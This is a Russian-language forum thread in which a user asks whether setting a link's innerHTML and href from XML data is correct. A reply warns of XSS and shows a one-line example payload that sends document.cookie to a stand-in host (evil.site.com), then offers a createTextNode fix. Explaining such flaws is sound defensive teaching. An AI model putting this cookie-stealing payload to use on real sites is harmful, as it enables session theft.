Правильно ли я устанавливаю значения в коде js?
От: XJess  
Дата: 14.07.09 15:39
Оценка:
Привет всем!
На странице есть такие элементы:
1. Заголовка h1 c id="Title", он расположен внутри дива в самом верху страницы.
2. Есть ссылка <a> с id="DataProvider", у которой нужно динамически задать то, что будет между <a> и </a> и значение href.
Пишу такой код:

var Title = // как-то получается из xml значение заголовка (не суть важно как), который будет выведен вверху окна в h1
if (Title != null)
    document.getElementById("Title").innerHTML = Title;
                    
var DataProviderName = // как-то получается из xml (не суть важно как)
if (DataProviderName != null)
    document.getElementById("DataProvider").innerHTML = DataProviderName;
                        
var DataProviderLink = // как-то получается из xml (не суть важно как)
if (DataProviderLink != null)
    document.getElementById("DataProvider").href = DataProviderLink;


Вроде работает на тестовых данных, но я не уверена, что это правильный код. Хотелось бы, чтобы кто-нибудь опытный сказал, если что неправильно и, если неправильно, то какие свойства надо было использовать (особенно в innerHTML не уверена).
Re: Правильно ли я устанавливаю значения в коде js?
От: Centaur Россия  
Дата: 14.07.09 18:17
Оценка: 2 (1) +1
Здравствуйте, XJess, Вы писали:

XJ>2. Есть ссылка <a> с id="DataProvider", у которой нужно динамически задать то, что будет между <a> и </a> и значение href.

XJ>Пишу такой код:

XJ>var DataProviderName = // как-то получается из xml (не суть важно как)
XJ>if (DataProviderName != null)
XJ>    document.getElementById("DataProvider").innerHTML = DataProviderName;


Неправильно. Завтра прилетит DataProviderName = "<script>window.location='http://evil.site.com/?'+document.cookie&lt;/script&gt;", послезавтра в утренних газетах — «в сайте example.com обнаружена XSS-уязвимость».

Как правильно (пишу без тестирования, доработать напильником):

var a = document.getElementById("DataProvider");
if (0 == a.childNodes.length)
{
    a.appendChild(document.createTextNode(DataProviderName));
}
else
{
    a.firstChild.data = DataProviderName;
}
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.